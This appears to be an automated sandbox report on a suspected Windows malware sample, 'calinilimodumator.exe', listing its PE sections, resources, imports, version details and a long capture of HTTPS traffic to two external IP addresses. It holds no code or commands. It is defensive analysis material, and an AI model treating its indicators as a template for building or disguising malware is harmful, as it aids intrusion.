IMAGE_DIRECTORY_ENTRY_RESOURCE	0x470000	0xa620	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x47b000	0x1938	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x73e18	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x73dd0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x6d000	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6ba71	0x6bc00	False	0.860591737964	data	7.82132041146	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x6d000	0x83ce	0x8400	False	0.273822206439	data	4.56486072359	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x76000	0x3f6f64	0x2800	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.yodoje	0x46d000	0x401	0x600	False	0.0130208333333	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.kemafuy	0x46e000	0x179	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.tls	0x46f000	0x9	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x470000	0xa620	0xa800	False	0.557942708333	data	5.74216282025	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x47b000	0x5b4c	0x5c00	False	0.228855298913	data	2.60911160945	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
PUS	0x476d38	0xbf7	ASCII text, with very long lines, with no line terminators	Tatar	Russia
RT_CURSOR	0x477968	0x134	data	Tatar	Russia
RT_ICON	0x470500	0xea8	data
RT_ICON	0x4713a8	0x8a8	data
RT_ICON	0x471c50	0x6c8	data
RT_ICON	0x472318	0x568	GLS_BINARY_LSB_FIRST
RT_ICON	0x472880	0x25a8	data
RT_ICON	0x474e28	0x10a8	data
RT_ICON	0x475ed0	0x988	data
RT_ICON	0x476858	0x468	GLS_BINARY_LSB_FIRST
RT_STRING	0x477c90	0x134	data	Tatar	Russia
RT_STRING	0x477dc8	0x374	data	Tatar	Russia
RT_STRING	0x478140	0x286	data	Tatar	Russia
RT_STRING	0x4783c8	0x812	data	Tatar	Russia
RT_STRING	0x478be0	0x6f2	data	Tatar	Russia
RT_STRING	0x4792d8	0x668	data	Tatar	Russia
RT_STRING	0x479940	0x70a	data	Tatar	Russia
RT_STRING	0x47a050	0x5d0	data	Tatar	Russia
RT_ACCELERATOR	0x477930	0x38	data	Tatar	Russia
RT_GROUP_CURSOR	0x477aa0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Tatar	Russia
RT_GROUP_ICON	0x476cc0	0x76	data
RT_VERSION	0x477ab8	0x1d4	data	Tatar	Russia

Imports

DLL

Import

KERNEL32.dll

GetModuleHandleExA, SetEndOfFile, FindResourceW, MapUserPhysicalPages, LoadResource, HeapAlloc, LoadLibraryExW, InterlockedIncrement, ZombifyActCtx, CreateDirectoryW, LockFile, GetModuleHandleW, GetTickCount, GenerateConsoleCtrlEvent, GetConsoleAliasesA, ReadConsoleOutputA, GetLocaleInfoW, GetFileAttributesA, GetTimeFormatW, HeapValidate, SetConsoleCursorPosition, GetFileAttributesW, GetAtomNameW, GetCompressedFileSizeA, lstrcatA, ExitThread, FindNextVolumeMountPointW, CreateJobObjectA, GetProcAddress, CreateTimerQueueTimer, LocalAlloc, SetConsoleOutputCP, VirtualLock, InterlockedDecrement, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetCommandLineA, HeapSetInformation, GetStartupInfoW, GetModuleFileNameW, RaiseException, EncodePointer, DecodePointer, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, IsProcessorFeaturePresent, IsBadReadPtr, InitializeCriticalSectionAndSpinCount, QueryPerformanceCounter, GetCurrentThreadId, GetCurrentProcessId, GetSystemTimeAsFileTime, ExitProcess, GetModuleFileNameA, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetStdHandle, GetFileType, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, GetLastError, HeapCreate, WriteFile, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, LoadLibraryW, SetFilePointer, GetConsoleCP, GetConsoleMode, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, HeapReAlloc, HeapSize, HeapQueryInformation, HeapFree, MultiByteToWideChar, RtlUnwind, SetStdHandle, GetStringTypeW, LCMapStringW, CreateFileW, CloseHandle, FlushFileBuffers

Version Infos

Description	Data
InternalName	calinilimodumator.exe
FileVersions	7.0.0.23
LegalCopyrights	Vsekdag
ProductVersions	67.0.20.45
Translation	0x0409 0x22fc

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tatar	Russia

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 23, 2021 10:03:12.724379063 CET	49736	443	192.168.2.6	95.216.186.40
Feb 23, 2021 10:03:12.790421009 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:03:12.790678024 CET	49736	443	192.168.2.6	95.216.186.40
Feb 23, 2021 10:03:12.797638893 CET	49736	443	192.168.2.6	95.216.186.40
Feb 23, 2021 10:03:12.863038063 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:03:12.864845991 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:03:12.864870071 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:03:12.864888906 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:03:12.865036011 CET	49736	443	192.168.2.6	95.216.186.40
Feb 23, 2021 10:03:12.874351025 CET	49736	443	192.168.2.6	95.216.186.40
Feb 23, 2021 10:03:12.940181971 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:03:12.990703106 CET	49736	443	192.168.2.6	95.216.186.40
Feb 23, 2021 10:03:13.038450003 CET	49736	443	192.168.2.6	95.216.186.40
Feb 23, 2021 10:03:13.147147894 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:03:13.196690083 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:03:13.196712971 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:03:13.196727991 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:03:13.196743965 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:03:13.196755886 CET	443	49736	95.216.186.40	192.168.2.6
Feb 23, 2021 10:03:13.196906090 CET	49736	443	192.168.2.6	95.216.186.40
Feb 23, 2021 10:03:13.196933031 CET	49736	443	192.168.2.6	95.216.186.40
Feb 23, 2021 10:03:27.170317888 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:27.211107969 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:27.211282015 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:27.215962887 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:27.257997990 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:27.260909081 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:27.260934114 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:27.260946035 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:27.261137009 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:27.274630070 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:27.316467047 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:27.316860914 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:27.339431047 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:27.339658022 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:27.380137920 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:27.380187988 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.034770012 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.034795046 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.034806967 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.034818888 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.034987926 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.035018921 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.053555012 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.094139099 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.444751978 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.444771051 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.444905996 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.444931030 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.444946051 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.445041895 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.445452929 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.445477962 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.445564032 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.446436882 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.446455956 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.446547985 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.447426081 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.447444916 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.447559118 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.448406935 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.448425055 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.448508024 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.449363947 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.449381113 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.449465990 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.450356960 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.450375080 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.450443983 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.451332092 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.451351881 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.451411009 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.452311039 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.453366041 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.453397989 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.453418970 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.453475952 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.453506947 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.454314947 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.454339027 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.454406977 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.455244064 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.456224918 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.456243038 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.456257105 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.456315041 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.456343889 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.464360952 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.464376926 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.464641094 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.464653969 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.464674950 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.464704990 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.465096951 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.465116024 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.465190887 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.466079950 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.466097116 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.466170073 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.467139006 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.467156887 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.467230082 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.485579967 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.485605001 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.485733032 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.485991001 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.486011028 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.486145020 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.486989975 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.487006903 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.487070084 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.487988949 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.488006115 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.488132954 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.489296913 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.489893913 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.489912033 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.489947081 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.490011930 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.490057945 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.490931034 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.490947962 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.491017103 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.491945982 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.491969109 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.492033958 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.492857933 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.492876053 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.492928028 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.493913889 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.493932962 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.494008064 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.494865894 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.494887114 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.494992018 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.495824099 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.495841980 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.495963097 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.496783972 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.497751951 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.497769117 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.497788906 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.497826099 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.497852087 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.498716116 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.498729944 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.498790026 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.502846003 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.502870083 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.502963066 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.503338099 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.503353119 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.503410101 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.503911018 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.503927946 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.503997087 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.504909039 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.504925966 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.505016088 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.505872965 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.505891085 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.505963087 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.506844044 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.506865978 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.506927013 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.507812977 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.507833958 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.507914066 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.508774042 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.508793116 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.509279966 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.509748936 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.509766102 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.509831905 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.510782957 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.510801077 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.510864019 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.528273106 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.528294086 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.528400898 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.528570890 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.529377937 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.529405117 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.529421091 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.529469967 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.529506922 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.530157089 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.530174971 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.530242920 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.532043934 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.532063007 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.532139063 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.532382011 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.533159018 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.533176899 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.533193111 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.533250093 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.533277035 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.534118891 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.534372091 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.534620047 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.534698963 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.534717083 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.534789085 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.535841942 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.535860062 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.535957098 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.536871910 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.536899090 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.536983013 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.537998915 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.538021088 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.538100958 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.539688110 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.539705992 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.539798975 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.540024042 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.540040016 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.540117979 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.545049906 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.545068979 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.545154095 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.545548916 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.545567036 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.545650959 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.546077013 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.546094894 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.546170950 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.547192097 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.547218084 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.547295094 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.547688007 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.547704935 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.547780037 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.548824072 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.548842907 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.548913002 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.550973892 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.550993919 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.551006079 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.551059961 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.551484108 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.551502943 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.551518917 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.551565886 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.551593065 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.569015980 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.569036007 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.569053888 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.569147110 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.569976091 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.569993973 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.570009947 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.570080042 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.570110083 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.570727110 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.570744991 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.570758104 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.570810080 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.572637081 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.572654963 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.572669983 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.572732925 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.573764086 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.573782921 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.573801994 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.573858976 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.575268030 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.575285912 CET	443	49745	104.21.50.15	192.168.2.6
